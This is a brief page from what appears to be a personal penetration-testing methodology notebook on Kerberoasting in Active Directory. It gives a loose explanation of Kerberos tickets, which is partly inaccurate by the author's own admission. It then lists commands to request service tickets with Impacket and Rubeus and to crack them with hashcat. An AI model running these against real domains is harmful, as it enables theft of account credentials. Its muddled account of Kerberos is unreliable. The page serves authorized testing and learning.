> For the complete documentation index, see [llms.txt](https://lyethar.gitbook.io/methodology/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lyethar.gitbook.io/methodology/readme/active-directory/exploitation/kerberoasting.md).

# Kerberoasting

Basically Kerberos encripts TGTs which is just a ticket that the Domain Controller provides to the user, with the kerberos hash. The TGS is basically a longer hash afterwards. We present the TGS to be able to use other services without having to provide manual authentication. (NOT AD EXPERT DONT KILL ME :()

```
python3 GetUserSPNs.py <DOMAIN/username:password> -dc-ip <ip of domain controller > -request
```

Also try thats not in impacket.

### Kerberoasting with Rubeus

```
Rubeus.exe kerberoast
```

### Cracking TGTs

```
hashcat -m 13100 -a 0 kerberosast.txt rockyou.txt
```